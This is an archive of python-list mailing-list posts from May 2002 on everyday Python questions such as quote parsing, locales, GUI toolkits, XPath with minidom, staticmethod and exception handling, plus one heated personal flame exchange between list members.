to > > have a *correct* check if a string is 'open'. > > examples: > > > > asd"""askdjalsdk # open > > aksdjasd # closed > > asjdkk"kajsd'''' # open > > "'asdasd" # closed > > """dontcountoneven" # open > > > > so i need a function which takes these strings as > > an argument and return 1 for 'open', 0 for a 'closed' string. > > > > Seems a really simple solution is count the number of each type of quote in the > string. But first you need to find all of the triple quotes. i thought along those lines, too, but couldn't get it correct easily. > for each quote type: > count = find all triple quotes > if count is even: closed for """''' askldjl''' this returns 'closed': wrong! holger From altis at semi-retired.com Sat May 11 14:52:49 2002 From: altis at semi-retired.com (Kevin Altis) Date: Sat, 11 May 2002 11:52:49 -0700 Subject: idle and the devil References: <abji97$q7q$1@newsreader1.netway.at> Message-ID: <pKdD8.39$IF4.53181@news.uswest.net> Check out http://www.python.org/editors/ There are a lot to choose from. ka "Siegfried Gonzi" <siegfried.gonzi at kfunigraz.ac.at> wrote in message news:abji97$q7q$1 at newsreader1.netway.at... > I thought it is better to calm down before posting some angry emails to the > developers of idle. Yes I know the idle is free (and it is not that bad). I > have got installed Python 2.2 on my Windows XP laptop. I work nearly every > day with Python/idle and everything works fine but the nasty behavior which > sometimes occur: When I mark text in the idle editor (not the command line) > and use "copy and paste", it often happens that this text is not only placed > at the intented place, it also clutters up the complete file at random > places. This often destroys every indentation (yesterday I had the problem, > after manually deleting the in addition wrong pasted code, that a return was > placed in a for loop and it took me quite a while to find out that the > integral is wrong due to the beformentioned misalignment). > > Maybe it has to do with XP itself, because this often appeared in Emacs too > and this was the reason to delete Emacs from my hard disc; the Python case > is harder because I need Python for my daily work. > > > I could not find any pointers in the deja news archive because I have got no > idea under what keyword I should try to search. > > > Thanks, > S. Gonzi > > From v.wehren at home.nl Fri May 10 15:59:09 2002 From: v.wehren at home.nl (vincent wehren) Date: Fri, 10 May 2002 21:59:09 +0200 Subject: unknown locale de_DE@euro Message-ID: <wpVC8.5595$48.537956@zwoll1.home.nl> Hi! The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by e.g. SuSe 8.0 Linux,is not (yet) regognized by the locale module of Python2.2. A ValueError is raised when calling the module's "getdefaultlocale()" method. How can one go about handling this? Should one add it to the encoding aliases in locale.py? Any suggestions? Regards Vincent Wehren From whisper at oz.net Fri May 10 18:56:31 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 10 May 2002 15:56:31 -0700 Subject: Which GUI Library to Use In-Reply-To: <F7DB8D13DB61D511B6FF00B0D0F06233CA4F3A@mail.hebmex.com> Message-ID: <GCEDKONBLEFPPADDJCOEKEGODBAA.whisper@oz.net> fxPy last updated 4/1/2002 David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Gustavo Cordova > Sent: Friday, May 10, 2002 14:51 > To: David LeBlanc > Cc: Python List > Subject: RE: Which GUI Library to Use > > > > > > From http://www.fox-toolkit.org/news.html: > > > > April 5, 2002 - New drop: FOX 1.1.8 > > > > That's pretty new :) > > > > David LeBlanc > > Seattle, WA USA > > > > > Far as I know Fox is no longer being maintained... > > > > > > Did someone pick that up and start developing it again? > > > > > > Bob > > > > Actually, what's not being maintained are the Python bindings > for fox: pyfx??? Something like that. > > As for fox, it's getting better and better. Has a wierd look, > but being portable everywhere is cool. > > -gus > > > -- > http://mail.python.org/mailman/listinfo/python-list From bkc at Murkworks.com Mon May 13 11:59:20 2002 From: bkc at Murkworks.com (Brad Clements) Date: Mon, 13 May 2002 11:59:20 -0400 Subject: Zaurus and Python, a good combination References: <mailman.1021243041.30775.python-list@python.org> Message-ID: <3cdfe18c$1_4@goliath.newsgroups.com> "David LeBlanc" <whisper at oz.net> wrote in message news:mailman.1021243041.30775.python-list at python.org... > The iPaq Python port has it's own python shell (pyshell?) in lieu of a > commandline prompt. It uses the iPaq internal stylus "tap" input drivers > (on-screen keyboard and 2 forms of "cursive" input recognition). I don't > know, but I would assume that if the "thumbboard" (virtually identical to > similar products for Palm and the zarius built-in) or stowaway keyboard 3rd > party options are installed, then those could be used. The iPaQ port uses "pcceshell.py" which is a modified ceshell.py. It works just fine with my Targus Stowaway keyboard. -- I'm really looking forward to wxWindows for the iPaQ, if that comes out, I'll do the Python part and get it integrated in the iPaQ release. Unfortunately the person who claims to be doing that port hasn't answered any of my email messages. (Koan software?) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From huaiyu at gauss.almadan.ibm.com Thu May 9 14:49:03 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 9 May 2002 18:49:03 +0000 (UTC) Subject: article: MS in Peruvian open-source nightmare References: <Xns9207DFB622ECcliechtigmxnet@62.2.16.82> <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> <mailman.1020878474.24377.python-list@python.org> <kahjdukqlc558r1sboau3hdie8m40ot47a@4ax.com> <lWlICVA4wi28EwcJ@jessikat.fsnet.co.uk> Message-ID: <slrnadlh4v.5kg.huaiyu@gauss.almadan.ibm.com> Robin Becker <robin at jessikat.fsnet.co.uk> wrote: >In article <kahjdukqlc558r1sboau3hdie8m40ot47a at 4ax.com>, Gon?alo >Rodrigues <op73418 at mail.telepac.pt> writes >>I can't resist to add that I completely agree with H. Krekel on this. It >>is surely one of the most impressive defenses + myth-debunkings I have >>ever read on the issue open-source vs proprietary software. >> >>Gon?alo Rodrigues >On another issue, this letter reads extremely well in English, but has >anyone read the original Spanish (I'm making an assumption the original >was in that language) and if so how was it translated so well. It is hosted on gnu.org.pe. We can guess they have extremely talented writers there. This essay is so outstanding that it is worth the effort to translate into any language in which legislations about technology are being written. Huaiyu From gumuz at looze.net Tue May 14 06:35:57 2002 From: gumuz at looze.net (Guyon Moree) Date: Tue, 14 May 2002 12:35:57 +0200 Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> <3ce0df1c$0$227$4d4ebb8e@read.news.nl.uu.net> <3ce0dfef.607951921@news.skynet.be> Message-ID: <3ce0e641$0$226$4d4ebb8e@read.news.nl.uu.net> i am a newbie too :) check the reply of Philip Swartzleonard, it's probably more informative. <henk.derudder at barconet.com> wrote in message news:3ce0dfef.607951921 at news.skynet.be... > On Tue, 14 May 2002 12:05:28 +0200, "Guyon Moree" <gumuz at looze.net> > wrote: > > >i'm not sure, but i imagine you can list the /lib *.py and dynamicly import > >every available module > > Do you mean (sorry, I am quite a newbie to Python) to make list of all > .py files which reside in the lib directory and then to perform a > for-loop on each item in the list to import that item? > > > > >just my two cents > > > ><henk.derudder at barconet.com> wrote in message > >news:3ce0d9f8.606424437 at news.skynet.be... > >> Hi all, > >> > >> Is there a way to import all possible Python-modules in a module with > >> a single call (or some other small elegant solution)? > >> > >> Regards, > >> > >> Henk > > > > > From bvdpoel at uniserve.com Wed May 1 20:15:10 2002 From: bvdpoel at uniserve.com (bvdpoel at uniserve.com) Date: Wed, 01 May 2002 17:15:10 -0700 Subject: Packing data Message-ID: <3CD0850E.94E6EC5F@uniserve.com> I'm doing some midi stuff and need to pack ints into a byte string. I'm doing def mkstring(var): ret = "" for a in var: ret += chr(a) return ret Which works. But I got to thinking there might be a more efficient way to to this. So I started to look at array and struct. I figured that struct.pack('b', var) might work ... but var can't be a list and the fmt string has to be the right size. So, I can do something like: struct.pack('bbb', v1, v2, v3) but a more general implimentation escapes my small brain. -- Bob van der Poel ** Wynndel, British Columbia, CANADA ** EMAIL: bvdpoel at uniserve.com WWW: http://users.uniserve.com/~bvdpoel From tjreedy at udel.edu Tue May 14 09:13:11 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 14 May 2002 13:13:11 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: <G38E8.12534$Ze4.1204253@bin5.nnrp.aus1.giganews.com> "Siegfried Gonzi" <siegfried.gonzi at kfunigraz.ac.at> wrote in message > If I start the > calculation for a third time I have to see that Python wreaks havoc I can understand your frustration (I sometime scream at my machine too) but blaming Python for the sins of Windows is not terribly polite. A LOT of effort has gone into getting it to run as well as it does. >> Memory is not a problem too, but: it consumes after 1 hour 200 MB of > RAM. > I am actually using Windows XP (NT 5.1 to be correct) on a Celeron 1000 > MHz, 256 MB RAM laptop A program that used more than 80% of RAM very well can be a problem for Windows. Add another 256K ($40-$50) if your laptop will accept it. This might also reduce execution time. I would not be surprised if stuff is being swapped to disk. In the meanwhile, reboot after each run. This will only add 5% to total time. Configure Windows to load as few background programs as possible. > Oh man, the classic Mac OS 9.0 was the reason for me to jump onto the > Windows bandwagon eventually. On my Mac rebooting every 30min due to > memory problems were normal. What a hoot! Robooting Windows is the STANDARD solution for Windows glitches. Some people routinely reboot at least once a day to get a fresh memory setup. Others have no choice (because they run into problems like you have). Terry J. Reedy From spahievi at vega.bg Fri May 3 15:47:20 2002 From: spahievi at vega.bg (Niki Spahiev) Date: Fri, 3 May 2002 22:47:20 +0300 Subject: win32 process list In-Reply-To: <aati68$4k5$07$1@news.t-online.com> References: <aati68$4k5$07$1@news.t-online.com> Message-ID: <398041222.20020503224720@vega.bg> 2002-05-03, 11:36:17, Marcus Reiter wrote: MR> Hello ! MR> How can I get an list of all processes in windows with python ? Attached demo works on Win2000 and maybe on NT4 and XP -- Best regards, Niki Spahiev ______________________________________ VEGA(TM) Internet Service Provider <http://www.vega.bg> Scanned and protected by Inflex Tova pismo e provereno i zashtiteno ot programite "Inflex/Antivir". -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: psdemo.py URL: <http://mail.python.org/pipermail/python-list/attachments/20020503/6a5b5c1a/attachment.ksh> From peter at engcorp.com Thu May 23 00:41:56 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 00:41:56 -0400 Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> <3CEAFDA2.E8B30B24@engcorp.com> <slrnaen76g.44l.msoulier@pmerd071.ca.nortel.com> Message-ID: <3CEC7314.70BF6770@engcorp.com> "Michael P. Soulier" wrote: > > On Tue, 21 May 2002 22:08:34 -0400, Peter Hansen <peter at engcorp.com> wrote: > > > > As others have noted, Python is the same speed as Perl, and the > > use of C comes more from the desire to integrate with other > > software than from a need for improving on Python's speed. > > Hmm. I love Python, but I have not found it as fast as Perl. It seems to > run about the speed of Tcl 8.3, but Perl seems to leave it in the dust, as > least for the comparisons that I've done. > One of those was generating prime numbers, so it was highly CPU intensive > operations. The Python and Tcl versions were about the same speed. The Perl > was roughly 50-100% faster. Want to post the implementations used for both? My guess is that the Python version was not very Pythonic... -Peter From greg at cosc.canterbury.ac.nz Wed May 15 20:40:19 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 16 May 2002 12:40:19 +1200 Subject: Page Hit Counter Vandalism & Writing FTP Results References: <mailman.1021491928.31511.python-list@python.org> Message-ID: <3CE2FFF3.ACD6A485@cosc.canterbury.ac.nz> "Peter F. Ferris" wrote: > > Here's the deal: Someone (I know who, but...) is constantly "diddling" with > the page count for a departmental web page I've done. > ... It's easy for him, with admin rights <sigh!> to diddle the file. What is such an obviously immature person doing with admin rights to the server? Perhaps you would be better off seeking someone with higher authority to solve *that* problem instead. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From kragen at pobox.com Tue May 7 05:24:34 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 07 May 2002 05:24:34 -0400 Subject: Newbie question: how to join a list of elements of user-defined types? References: <ef08387c.0204291754.1224fd7b@posting.google.com> <mailman.1020132292.8898.python-list@python.org> <200204292311.57363.bhan@andrew.cmu.edu> <83k7qmqw6v.fsf@panacea.canonical.org> <4AgA8.90988$vF6.2719440@news2.tin.it> Message-ID: <83it60pay5.fsf@panacea.canonical.org> Alex Martelli <aleax at aleax.it> writes: > Kragen Sitaker wrote: > ... > > Apparently; class members and methods are a brand new addition in > > Python 2.2. I think they are a major design error; they add no power > > but significant complexity to the language, and they are clumsy to > > use and bug-prone. > > The complexity that staticmethod adds to the language is no more > than would be added by defining its 2.1 equivalent, of course: > > class staticmethod: > def __init__(self, callable): self.__call__=callable That is true. > So, the complexity can't really be much (about on a par with the rather > modest usefulness). I suspect that's not one of the issues you're > addressing, but it's hard to say given that "class members" mystery. Well, I think I was confused when I wrote that, and I'm not really sure what I was thinking. I guess I have this vague idea that encouraging people to write "foo=staticmethod(foo)" in their class definitions is going to make their code harder to understand, because now you have expressions that look like method calls, running code that looks like a method definition, but with different semantics. It's rather as if somebody sat down and thought about ways to make Python code harder to understand. That said, I haven't actually tried to debug other people's code that uses staticmethod, and there are lots of language features that sound nasty until you try them. From jb at cascade-sys.com Thu May 9 11:09:18 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 08:09:18 -0700 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <82bsbvl5q1.fsf@acropolis.localdomain> <ab3ebr$9o7$1@panix1.panix.com> <82adrehag0.fsf@acropolis.localdomain> <ab40pf$ajd$1@panix3.panix.com> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <mailman.1020849410.32598.python-list@python.org> <3CD92111.7060704@mxm.dk> <3CD9E0AB.BA39DE6C@cascade-sys.com> <200205090734.g497YOjX028867@ratthing-b246.strakt.com> Message-ID: <3CDA911E.E042DEE6@cascade-sys.com> Laura Creighton wrote: > Knock it off, Besemer. Hey, everybody! Laura's back! YEAAA!! ;o) > The English language gets levelled enough > wihtout you trying to rub the edges off 'interesting' and turn it > into Newspeak. Some of us need that word when we want to express > our interest in a subject. Frequently, we want to use it in > precisely the same context as you care to abuse it -- wow, somebody > disagreed with me and made me think new and interesting thoughts, > care to expand on this point some more? so it is quite important > to not let you get away with such things. The point I was trying to make with my RHETORICAL QUESTION is that it's silly and pointless to try to quantify things like the word "more". So if I understand your post correctly -- you are arguing MY side of the issue while at the same time protesting at length and in the shrillest possible fashion, railing against the opposite of what I said. This is an obscure form of "Heated Agreement (tm)." ;o) > But more importantly, nobody is interested in playing any status > games with you. > You can stop agreeing with the Martellibot as well. We have already > recognized his competance, which is why he is a bot. Stop trying to > destablise our egalitarian society with your nasty status plays. You > get negative respect points here for simply saying 'I agree' to the > Martellibot -- we just wasted our time reading drivel because you > wanted to rub shoulders with the competant in a status-enhancing > fashion. What the BLOODY HELL are you TALKING about? First off, let me assure you and everybody else that "to destablise" [sic.] your "egalitarian society" here is the furthest thing from my mind. Somehow YOU, Senora Creighton, got it in your wee brain that I'm the great Satan, Lord of Darkness, out to rape and pillage comp.lang.py and burn it to the ground. And you've furthermore taken it upon yourself to drive this evil from the land. I gotta say, that you so exaggerate the threat and that you feel such a great responsibility to deal with it personally is a textbook manifestation of paranoid behavior. Second, your accusations don't make any sense at all. Fact of the matter, there are only two instances in the last couple weeks where my posts were short replies of the form "I agree". Most recently was with a Mr. Tunrbull, in which, in the context of several courteous exchanges, I was politely conceding his final counterpoint. Prior to that I complemented Patrick W for making a point, as it was consistent with an argument I was advancing in the course of an on-going thread. None of this counts as a nasty status play. For better or worse, most of my posts have been closer to a page or more in length, on topic, at least attempting to make a sincere contribution. I help the newbies occasionally when I know the answer and can get a reply in before somebody else. For the life of me I cannot locate a member named "Martellibot" or recall a post where I sucked-up to him or anybody else. I'll tell you what -- I'll stay off the list for a week if you can dredge up a specific example to support your accusations that I was: (a) merely trying to "rub shoulders with the competant" [sic.]; (b) knowingly communicating with anybody named "Martellibot"; (c) sucking up to anybody. > Dear Ray Tux and other Newbies who are reading this -- becoming a > great programmer takes more than a month, but you can cop the > arrogant programmer attitude, as practiced by James Besemer and > learn THAT in a month, for certain. Don't do it. If you look back > you will see how Besemer was perfectly willing to take correction > from Steve Holden and Cliff Wells, individuals that he has marked > as 'high-status' so that he can claim the a rank in the barnyard > pecking order as 'friend of the mighty'. I really cannot fathom your continued, unprovoked hostility especially in this Egalitarian Utopia, where everyone is supposed to be welcome, and where you'd think early mistakes might eventually be forgiven. Ironically, the only advice I ever got or took from Cliff was to not take your rants too seriously. ;o) And that led to something about "scratching the monkey," which immediately prompted somebody else to suggest we all should turn down any offers you might make to "mount" a guy. But as a newcomer, this all was way over my head. I'm sure the newbies can see for themselves that my actual behavior is significantly at odds with your harsh and insulting characterization. > But since I made it quite > explicit that he was not my friend, he wouldn't take it from me. BULLSHIT. I publicly and privately credited you for a key piece of advice early on. This was when your rants were only half mindless and still contained a few particles of constructive criticism. You even publicly acknowledged this, concluding you had to "think about this some more.". So did you think about it and somehow forget or are you simply perverting the truth because it better suits your agenda? > (Admittedly, I stacked things by using extremely angry language, > but I wanted to see how shallow his claim to like straight blunt > talk was). I don't mind blunt talk. As I said, I actually prefer it. I'm a little puzzled that you persist in this experiment but WTF? It's a free country. Unfortunately, I foolishly neglected to further distinguish between: (a) Blunt but constructive and otherwise well intentioned criticisms, such as "that approach won't work," "that PEP is ridiculous," "'WRONG!'", "BZZZZT!", even "BULLSHIT" or your earliest note to me -- all of which is OK. (b) Personal attacks purely out of personal animosity. (c) Illogical hysterical rants that only serve to publicly embarrass the speaker, if only she was smart enough to realize it. > Follow this path and you can spend your life wondering > when your essential lack of authenticity will cause you to be found out. > And looking for the next argument, as well. Come on -- you don't really want to argue or carry on any kind of a serious dialog. After your first several rounds of unprovoked insults, I tried to engage you in a serious dialog in a lengthy private note and a shorter public one. Instead of responding in kind you choose to ignore my conciliatory gestures and continue with your irrational, outrageous, public, personal attacks. Because of some careless missteps early on, I got under your skin and now it appears you're on a crusade to continue heaping enough insults and abuse on me. I imagine, this is an attempt to force me to leave the list. Who knows? I suppose it could work. If you really want to become THAT kind of person. Y'r ob't s'v't, --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From pinard at iro.umontreal.ca Mon May 20 22:53:47 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 20 May 2002 22:53:47 -0400 Subject: ANSI colored output: How to determine how python was called? In-Reply-To: <acbrom$26ia$1@nntp6.u.washington.edu> References: <mailman.1021890993.25984.python-list@python.org> <acb7ml$12m4$1@nntp6.u.washington.edu> <mailman.1021928374.25220.python-list@python.org> <acbrom$26ia$1@nntp6.u.washington.edu> Message-ID: <oqr8k6us78.fsf@titan.progiciels-bpi.ca> [Donn Cave] > Quoth pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard): > ... > | The normal way to check for colour terminal support is through terminal > | info capabilities (terminfo). [...] > That is indeed the only bona fide declaration of color capabilities, > but it's good for only a small subset of the color capable terminal > emulations. If they're coming in as "vt102", it won't help. If a terminal declaration is improper, it is likely to be suboptimal. A terminal emulator should ideally have its own, adequate terminfo entry. > [...] but then lynx and other color aware applications will do really > horrible things with them, distasteful and unreadable. When such things happen, either the terminfo description is improper, or the application has bugs with terminal handling. One should either correct the terminfo description, or debug the program. We probably agree on the fact these areas are not that much fun, and diagnosing terminfo-related problems require patience, study, and some dedication :-). > [...] and of sometimes you have a black background instead of white, so > some control of the colors may be needed just to get a readable display. So true! :-) -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From jon_bills at hotmail.com Thu May 2 06:27:39 2002 From: jon_bills at hotmail.com (Jon Bills) Date: Thu, 2 May 2002 10:27:39 +0000 (UTC) Subject: COM, Tk and threads Message-ID: <8ac260fdcccb2ad97306b2c88751886f.37623@mygate.mailgate.org> Hello list, I am currently working on a Python project which requires the use of COM to integrate with existing Windows applications, and I've run into trouble running a GUI at the same time. I'll attempt to explain. Firstly, I have a COM server written in C++, which I can't change. One of the interface methods takes a pointer to an IDispatch, and registers that interface as a callback to receive various messages. I'd like those messages to be displayed in a GUI window, and I'd like to write the GUI in Python. So, I've written a Python COM server which registers its dispinterface with the C++ server, and that all works fine. It also spawns a Tk GUI in a seperate thread, and the two threads communicate via a mutex-protected queue. I also have a client script which starts up the Python COM server, registers it with the C++ server and then tells the server to start the GUI thread. The problem is that I want that client script to wait for the GUI thread to terminate before making further calls to unregister the python COM server and before ending the script. Whenever I run the script, naturally it drops off the end and everything terminates. I need to be able to wait on the GUI thread, but the only method I've found so far results in tying up the main thread, thus preventing the COM server from receiving its callbacks. Is there a way that I can signal an event from the Python COM server to the Python script that the GUI thread has terminated, so that the script may wait on that event? -- Posted via Mailgate.ORG Server - http://www.Mailgate.ORG From rpinder at usc.edu Sun May 12 12:09:15 2002 From: rpinder at usc.edu (Rich Pinder) Date: Sun, 12 May 2002 12:09:15 -0400 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <Pine.SOL.4.30.0205121645520.7173-100000@mimosa.csv.warwick.ac.uk> Message-ID: <3CDE93AB.4E4607D0@usc.edu> I dont understand why they'd have such a 'selection' screen then. All are slated to work with 2.1 (which i have installed) But i'm glad to let it use default 2.1 - its just that all three don't even see the install. Have checked the THREE add ons (that all must seem to use the same windows installer code) - and no words about this in their faq's. thanks rich "John J. Lee" wrote: > > On Sun, 12 May 2002, Rich Pinder wrote: > [...] > > I'm trying to load three add on's (4Suite, PyXML, and Interbase database > > adapter). > > > > On the second install screen (on all three) it prompts you for 'which > > python installation to use' - and there are no entries to select. > [...] > > If these are precompiled binaries, you don't have a choice -- they'll work > with exactly one interpreter version (which will probably be either 2.1 > or 2.2 ATM -- check on the site where you downloaded the binaries). > > John From jarvin24 at lehtori.cc.tut.fi Thu May 9 04:08:23 2002 From: jarvin24 at lehtori.cc.tut.fi (=?iso-8859-1?Q?J=E4rvinen?= Petri) Date: Thu, 9 May 2002 08:08:23 +0000 (UTC) Subject: How to get class's name on runtime? Message-ID: <slrnadkbjn.ojd.jarvin24@lehtori.cc.tut.fi> Hey again This must have been asked several times, but I'll give my try :) How can I get class-instances name at runtime? I have tried to use __name__ method, but that does not exist... I have tried... ------------ class parameterMissing(Exception): def __init__(self,desc): self.desc = desc self.raisedTime = currentTime() #inform log that exception was raised enactLog.exceptionRaised(self) #inform log that some script failed enactLog.scriptFailed(self) # logMessage returns the message that should be wrote to correct # logfile by enactLog-module. def logMessage(self): return self.__name__ + ' was raised at ' + self.raisedTime + '. Message was: ' + self.desc And that self.__name__ sais that instance has no attribute __name__ Might be stupid question, but thanks anyway.. - Petri From ehagemann at comcast.net Thu May 9 21:39:48 2002 From: ehagemann at comcast.net (Eric Hagemann) Date: Fri, 10 May 2002 01:39:48 GMT Subject: win32 application scripting Message-ID: <ExFC8.135196$N8.10906497@bin5.nnrp.aus1.giganews.com> hey all, I am looking to automate a win32 application (that does not use COM). Is there a module with a function similar to popenX that would allow me to send characters to the application after it is started ? I have tried the os.popen and win32api.popen but no luck. From daniel at dittmar.net Sun May 12 14:30:37 2002 From: daniel at dittmar.net (Daniel Dittmar) Date: Sun, 12 May 2002 20:30:37 +0200 Subject: path.startswith(dir)? References: <slrnado867.ckc.mlh@vier.idi.ntnu.no> <3CDD6518.3010707@dittmar.net> <slrnadqpta.4t4.mlh@vier.idi.ntnu.no> Message-ID: <3CDEB4CD.30608@dittmar.net> > Ah... Perhaps os.path.commonprefix is better after all... I'm afraid not: >>> f1 = 'h:\\perforce\\somefile1' >>> f2 = 'H:\\Perforce\\somefile2' >>> os.path.commonprefix ([f1, f2]) '' So you'll still have to do the normalizing yourself. Daniel From peter at engcorp.com Tue May 21 08:04:00 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 08:04:00 -0400 Subject: xml.dom.minidom References: <28c7ef7c.0205210010.4f363646@posting.google.com> Message-ID: <3CEA37B0.7D62F36F@engcorp.com> joe user wrote: > > <?xml version='1.0'?> > <mydoc version="1.2"> > <title text="testdocument" /> > <text> > <data> > Hello World > </data> > </text> > <footer> > <data> > Hello Footer > </data> > </footer> > </mydoc> > > What I would like to do is to get the contents of the "<data>"-tag > within the "<footer>"-tag. The easiest way (for me at least) is to use XPath: Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 >>> import xml.dom.minidom >>> d = xml.dom.minidom.parse(open('doc.xml')) >>> d <xml.dom.minidom.Document instance at 0x009BA340> >>> d.normalize() >>> import xml.xpath >>> xml.xpath.Evaluate('//footer/data', d) [<DOM Element: data at 10217408>] >>> xml.xpath.Evaluate('//footer/data', d)[0].firstChild.data u'\n Hello Footer\n ' Alternatively you could muck with a lot of procedural code with DOM, or some ugly SAX stuff... -Peter From jimmy at retzlaff.com Tue May 14 15:53:39 2002 From: jimmy at retzlaff.com (Jimmy Retzlaff) Date: 14 May 2002 12:53:39 -0700 Subject: Fatal Python error: GC object already in linked list References: <mailman.1020309663.24773.python-list@python.org> Message-ID: <41691d47.0205141153.70f7e56@posting.google.com> I wrote: > I'm working on an application in Python and my application > occasionally dies with the error: > > Fatal Python error: GC object already in linked list I've upgraded to 2.2.1 and spent 4 days trying to isolate the problem. I've given up for now (I've found a workaround described below) but I wanted to follow up here in case anybody is still reading. :) In 2.2.1 the problem is still there, but it's not as consistent. In 2.2 I recreated the problem 5-10 times within the Visual Studio debugger, and each time it involved memory management of a tuple at the same point in my Python code. In 2.2.1 it happened at various locations and sometimes involved a tuple and other times involved an integer. The message also varied to include things like UNREFing an invalid object. I tried isolating the problem by removing parts of my application. This proved very difficult as seemingly random combinations of things made the problem go away (e.g., the problem would happen with just about any 2 of my 15-20 major UI components present but no one UI component alone would exhibit the problem). The one consistent way to make the problem go away was to shut down my one and only background thread. In an isolated case that thread was simply executing: x = [] while 1: if x: assert 0 # make sure we never get here in this test case else: time.sleep(0.1) With the above code in a second thread, my application would consistently exhibit the problem in the main thread within 5 hours. With the above thread not running the application ran for 3 days on one machine and 2 on another and never exhibited the problem. I then re-implemented the background thread: import Queue x = Queue.Queue() while 1: x.get() assert 0 # make sure we never get here in this test case I made this change yesterday and now the application has been running for nearly 24 hours with no problem. I know there have been changes in wxPython's handling of the Global Interpreter Lock in recent CVS versions (I'm using the 2.3.2.1 release from www.wxpython.org). The memory management issues consistently involve objects created by calls into wxPython APIs, so at this point I'm guessing the problem lies within wxPython/SWIG/wxWindows - I only wish I had the time to isolate it further. But since the problem is gone for now, I need to move on. Jimmy p.s. - For those of you who, like me, are lucky enough to use Python almost exclusively for your work, you should occasionally return to the C/C++ edit/build/debug cycle to make it crystal clear how good you have it with Python. I had forgotten why debuggers were so necessary! From hashao at -hashao.-hypermat.-com Mon May 6 06:09:28 2002 From: hashao at -hashao.-hypermat.-com (ha shao) Date: 6 May 2002 10:09:28 GMT Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: <slrnadclfc.a7a.hashao@hashao.ddts.net> In article <1020669846.963494 at newsmaster-04.atnet.at>, fritz steindl (-:fs) wrote: > > what is the best way to implement a singleton in python ??? > ( class that allows only _one_ instantiation - like java singletons) > i miss static variables and functions in python (or i don't see them :-) > Python2.2 does have static and class methods. So it is much easier for singleton. -- Best regard hashao From juenglin at informatik.uni-freiburg.de Wed May 1 11:31:29 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 01 May 2002 17:31:29 +0200 Subject: Initializing a list with copies References: <xduy9fa4z2x.fsf@leto.informatik.uni-freiburg.de> <xduu1pt1iuf.fsf@leto.informatik.uni-freiburg.de> <vIxz8.81546$vF6.2424489@news2.tin.it> <aamebj$c2olc$1@ID-59885.news.dfncis.de> <1bzz8.82059$vF6.2440100@news2.tin.it> Message-ID: <xduelgv7ulq.fsf@praline.informatik.uni-freiburg.de> Alex Martelli <aleax at aleax.it> writes: > Thomas Heller wrote: > > Classes (new-style) and built-in types, as I said. Maybe I wasn't > as clear as needed to express once again the distinction between > levels -- instances of a metaclass are types (classes), so thanks > for pointing it out. > > > Not too useful, it seems. Implementing factory functions as iterables seems useful to me. Their iterators should produce "default instances" of what the factory produces. The longer I think about it, the more I like the l = take(n, int) idea. It is quite intuitive, read "give me n of the things int() produces". As Alex pointed out, it as easy to make all "new-style" types iterable for the Python developers -- one just would have to small methods to the meta- type 'type'... Thanks for your comments, Ralf From mwh at python.net Wed May 8 07:37:28 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 8 May 2002 11:37:28 GMT Subject: Exception handling References: <slrnadi0fu.l1n.jarvin24@lehtori.cc.tut.fi> <lk1ycm29an.fsf@pc150.maths.bris.ac.uk> <Xns92082CC947623RASXnewsDFE1@130.133.1.4> Message-ID: <lksn52vpf0.fsf@pc150.maths.bris.ac.uk> Philip Swartzleonard <starx at pacbell.net> writes: > Michael Hudson || Wed 08 May 2002 03:58:31a: > > > J?rvinen Petri <jarvin24 at lehtori.cc.tut.fi> writes: > > > >> Hello > >> > >> Is it possible to use dynamic binding in exception handling like in > >> C++. > >> > >> I mean can I catch baseclass exception in my exception handler and > >> get all the derived classes catched aswell, like > > > > Yes. Didn't you try it? Although A should have Exception amongst > > it's base classes... > > Should it? Yes, but it's only "should". It's not enforced anywhere. There was talk of making it enforced, but I don't think that got anywhere. > I've been meaning to ask, but I haven't been pythoning much > lately so it hasn't come up again. When defining your own exception > heirarcy, should you derive from the standard exception class or just > start from scratch, and why? Derive from the standard one. Why? Erm, because You Should. There are probably better reasons, but I can't be bothered to think them up right now. Alex probably will. > Also, what about raising things like strings as exceptions (which > i've done in exapmle classes for CIS/DS projects, e.g. 'Raise > "Linked list is empty, please verify with is_valid"' or whatever > just for documention really). That's very backward behaviour; string exceptions fell out of favour with Python 1.5 (I think; might have been 1.4 or even earlier). You can still do this, but you shouldn't in new code. Not sure what "things like strings" means; try raising anything other than a string or an (old-style!) 